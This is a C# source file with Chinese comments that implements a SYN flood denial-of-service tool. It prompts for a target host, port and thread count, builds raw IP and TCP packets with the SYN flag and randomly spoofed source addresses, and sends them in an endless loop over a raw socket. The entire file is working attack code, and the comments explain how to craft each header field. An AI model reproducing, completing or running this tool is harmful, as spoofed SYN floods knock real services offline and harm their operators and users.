1 //在工程属性中设置"允许不安全代码"为true
2 ?using System;
3 using System.Net;
4 using System.Net.Sockets;
5 using System.Threading;
6 //需要的命名空间不用解释了吧
7 namespace syn
8 {
9 public struct ipHeader
10 {
11 public byte ip_verlen; //4位首部长度+4位IP版本号
12 public byte ip_tos; //8位服务类型TOS
13 public ushort ip_totallength; //16位数据包总长度(字节)
14 public ushort ip_id; //16位标识
15 public ushort ip_offset; //3位标志位
16 public byte ip_ttl; //8位生存时间 TTL
17 public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
18 public ushort ip_checksum; //16位IP首部校验和
19 public uint ip_srcaddr; //32位源IP地址
20 public uint ip_destaddr; //32位目的IP地址
21 }
22 public struct psdHeader
23 {
24 public uint saddr; //源地址
25 public uint daddr; //目的地址
26 public byte mbz;
27 public byte ptcl; //协议类型
28 public ushort tcpl; //TCP长度
29 }
30 public struct tcpHeader
31 {
32 public ushort th_sport; //16位源端口
33 public ushort th_dport; //16位目的端口
34 public int th_seq; //32位序列号
35 public uint th_ack; //32位确认号
36 public byte th_lenres; //4位首部长度/6位保留字
37 public byte th_flag; //6位标志位
38 public ushort th_win; //16位窗口大小
39 public ushort th_sum; //16位校验和
40 public ushort th_urp; //16位紧急数据偏移量
41 }
42 //这3个是ip首部tcp伪首部tcp首部的定义。
43 public class syn
44 {
45 private uint ip;
46 private ushort port;
47 private EndPoint ep;
48 private Random rand;
49 private Socket sock;
50 private ipHeader iph;
51 private psdHeader psh;
52 private tcpHeader tch;
53 public UInt16 checksum(UInt16[] buffer, int size)
54 {
55 Int32 cksum = 0;
56 int counter;
57 counter = 0;
58 ?
59 while (size > 0)
60 {
61 UInt16 val = buffer[counter];
62 ?
63 cksum += Convert.ToInt32(buffer[counter]);
64 counter += 1;
65 size -= 1;
66 }
67 ?
68 cksum = (cksum >> 16) + (cksum & 0xffff);
69 cksum += (cksum >> 16);
70 return (UInt16)(~cksum);
71 }
72 //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样
73 public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
74 {
75 ip = _ip;
76 port = _port;
77 ep = _ep;
78 rand = _rand;
79 ipHeader iph = new ipHeader();
80 psh = new psdHeader();
81 tch = new tcpHeader();
82 sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
83 sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
84 //这2个挺重要,必须这样才可以自己提供ip头
85 }
86 //传参数的多线程需要用到代构造函数的对象。
87 static void Main(string[] args)
88 {
89 Console.WriteLine("1、输入攻击ip或域名");
90 try
91 {
92 IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
93 uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序
94 Console.WriteLine("2、输入攻击端口");
95 ushort port = ushort.Parse(Console.ReadLine());
96 IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
97 byte[] bt = BitConverter.GetBytes(port);
98 Array.Reverse(bt);
99 port = BitConverter.ToUInt16(bt, 0);
100 //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样
101 Console.WriteLine("3、输入攻击线程,最多50个");
102 int xiancheng = Int32.Parse(Console.ReadLine());
103 if (xiancheng < 1 || xiancheng > 50)
104 {
105 Console.WriteLine("必须在1到50之间");
106 return;
107 }
108 Random rand = new Random();
109 Thread[] t = new Thread[xiancheng];
110 syn[] sy = new syn[xiancheng];
111 for (int i = 0; i < xiancheng; i++)
112 {
113 sy[i] = new syn(ip, port, ep, rand);
114 t[i] = new Thread(new ThreadStart(sy[i].synFS));
115 t[i].Start();
116 }
117 //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊
118 }
119 catch
120 {
121 Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");
122 return;
123 }
124 ?
125 ?
126 }
127 unsafe public void synFS()
128 {
129 iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
130 //ipv4,20字节ip头,这个固定就是69
131 iph.ip_tos = 0;
132 //这个0就行了
133 iph.ip_totallength = 0x2800;
134 //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800
135 iph.ip_id = 0x9B18;
136 //这个我是拦截ie发送。直接添上来了
137 iph.ip_offset = 0x40;
138 //这个也是拦截ie的
139 iph.ip_ttl = 64;
140 //也是拦截ie的,也可以是128什么的。
141 iph.ip_protocol = 6;
142 //6就是tcp协议
143 iph.ip_checksum = UInt16.Parse("0");
144 //没计算之前都写0
145 iph.ip_destaddr = ip;
146 //ip头的目标地址就是要攻击的地址,上面传过来的。
147 psh.daddr = iph.ip_destaddr;
148 //伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。
149 psh.mbz = 0;
150 //这个据说0就行
151 psh.ptcl = 6;
152 //6是tcp协议
153 psh.tcpl = 0x1400;
154 //tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400
155 tch.th_dport = port;
156 //攻击端口号,上面传过来的
157 tch.th_ack = 0;
158 //第一次发送所以没有服务器返回的序列号,为0
159 tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
160 //tcp长度
161 tch.th_flag = 2;
162 //2就是syn
163 tch.th_win = ushort.Parse("16614");
164 //拦截ie的
165 tch.th_sum = UInt16.Parse("0");
166 //没计算之前都为0
167 tch.th_urp = UInt16.Parse("0");
168 //这个连ip都是0,新的攻击方法有改这个值的
169 while (true)
170 {
171 iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);
172 psh.saddr = iph.ip_srcaddr;
173 ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));
174 byte[] bt = BitConverter.GetBytes(duankou);
175 Array.Reverse(bt);
176 tch.th_sport = BitConverter.ToUInt16(bt, 0);
177 tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
178 //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序
179 ?
180 iph.ip_checksum = 0;
181 tch.th_sum = 0;
182 //因为循环中,所以每次必须把这2个已有数的清0才可计算
183 byte[] psh_buf = new byte[sizeof(psdHeader)];
184 Int32 index = 0;
185 index = pshto(psh, psh_buf, sizeof(psdHeader));
186 if (index == -1)
187 {
188 Console.WriteLine("构造tcp伪首部错误");
189 return;
190 }
191 index = 0;
192 byte[] tch_buf = new byte[sizeof(tcpHeader)];
193 index = tchto(tch, tch_buf, sizeof(tcpHeader));
194 if (index == -1)
195 {
196 Console.WriteLine("构造tcp首部错误1");
197 return;
198 }
199 index = 0;
200 byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
201 Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
202 index += psh_buf.Length;
203 Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
204 index += tch_buf.Length;
205 tch.th_sum = chec(tcphe, index);
206 index = 0;
207 index = tchto(tch, tch_buf, sizeof(tcpHeader));
208 if (index == -1)
209 {
210 Console.WriteLine("构造tcp首部错误2");
211 return;
212 }
213 index = 0;
214 byte[] ip_buf = new byte[sizeof(ipHeader)];
215 index = ipto(iph, ip_buf, sizeof(ipHeader));
216 if (index == -1)
217 {
218 Console.WriteLine("构造ip首部错误1");
219 return;
220 }
221 index = 0;
222 byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
223 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
224 index += ip_buf.Length;
225 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
226 index += tch_buf.Length;
227 iph.ip_checksum = chec(iptcp, index);
228 index = 0;
229 index = ipto(iph, ip_buf, sizeof(tcpHeader));
230 if (index == -1)
231 {
232 Console.WriteLine("构造ip首部错误2");
233 return;
234 }
235 index = 0;
236 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
237 index += ip_buf.Length;
238 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
239 index += tch_buf.Length;
240 if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
241 {
242 Console.WriteLine("构造iptcp报文错误");
243 return;
244 }
245 //上面这一大堆东西就是计算校验和的方法了,方法是
246 //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和
247 //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节
248 //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和
249 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦
250 try
251 {
252 ?
253 sock.SendTo(iptcp, ep);
254 //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了
255 ?
256 }
257 catch
258 {
259 Console.WriteLine("发送错误");
260 return;
261 }
262 ?
263 ?
264 }
265 ?
266 }
267 public UInt16 chec(byte[] buffer, int size)
268 {
269 Double double_length = Convert.ToDouble(size);
270 Double dtemp = Math.Ceiling(double_length / 2);
271 int cksum_buffer_length = Convert.ToInt32(dtemp);
272 UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
273 int icmp_header_buffer_index = 0;
274 for (int i = 0; i < cksum_buffer_length; i++)
275 {
276 cksum_buffer[i] =
277 BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
278 icmp_header_buffer_index += 2;
279 }
280 UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
281 return u_cksum;
282 }
283 //这个是计算校验,把那些类型不一样的全转为16位字节数组用的
284 public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
285 {
286 Int32 rtn = 0;
287 int index = 0;
288 byte[] b_verlen = new byte[1];
289 b_verlen[0] = iph.ip_verlen;
290 byte[] b_tos = new byte[1];
291 b_tos[0] = iph.ip_tos;
292 byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
293 byte[] b_id = BitConverter.GetBytes(iph.ip_id);
294 byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
295 byte[] b_ttl = new byte[1];
296 b_ttl[0] = iph.ip_ttl;
297 byte[] b_protol = new byte[1];
298 b_protol[0] = iph.ip_protocol;
299 byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
300 byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
301 byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
302 Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
303 index += b_verlen.Length;
304 Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
305 index += b_tos.Length;
306 Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
307 index += b_totallen.Length;
308 Array.Copy(b_id, 0, Buffer, index, b_id.Length);
309 index += b_id.Length;
310 Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
311 index += b_offset.Length;
312 Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
313 index += b_ttl.Length;
314 Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
315 index += b_protol.Length;
316 Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
317 index += b_checksum.Length;
318 Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
319 index += b_srcaddr.Length;
320 Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
321 index += b_destaddr.Length;
322 if (index != size/* sizeof(IcmpPacket) */)
323 {
324 rtn = -1;
325 return rtn;
326 }
327 ?
328 rtn = index;
329 return rtn;
330 ?
331 }
332 //这个是把ip部分转为字节数组用的
333 public Int32 pshto(psdHeader psh, byte[] buffer, int size)
334 {
335 Int32 rtn;
336 int index = 0;
337 byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
338 byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
339 byte[] b_psh_mbz = new byte[1];
340 b_psh_mbz[0] = psh.mbz;
341 byte[] b_psh_ptcl = new byte[1];
342 b_psh_ptcl[0] = psh.ptcl;
343 byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
344 Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
345 index += b_psh_saddr.Length;
346 Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
347 index += b_psh_daddr.Length;
348 Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
349 index += b_psh_mbz.Length;
350 Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
351 index += b_psh_ptcl.Length;
352 Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
353 index += b_psh_tcpl.Length;
354 if (index != size)
355 {
356 rtn = -1;
357 return rtn;
358 }
359 else
360 {
361 rtn = index;
362 return rtn;
363 }
364 ?
365 }
366 //这个是把tcp伪首部转为字节数组用的
367 public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
368 {
369 Int32 rtn;
370 int index = 0;
371 byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
372 byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
373 byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
374 byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
375 byte[] b_tch_lenres = new byte[1];
376 b_tch_lenres[0] = tch.th_lenres;
377 byte[] b_tch_flag = new byte[1];
378 b_tch_flag[0] = tch.th_flag;
379 byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
380 byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
381 byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
382 Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
383 index += b_tch_sport.Length;
384 Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
385 index += b_tch_dport.Length;
386 Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
387 index += b_tch_seq.Length;
388 Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
389 index += b_tch_ack.Length;
390 Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
391 index += b_tch_lenres.Length;
392 Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
393 index += b_tch_flag.Length;
394 Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
395 index += b_tch_win.Length;
396 Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
397 index += b_tch_sum.Length;
398 Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
399 index += b_tch_urp.Length;
400 if (index != size)
401 {
402 rtn = -1;
403 return rtn;
404 }
405 else
406 {
407 rtn = index;
408 return rtn;
409 }
410 }
411 //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。
412 }
413 }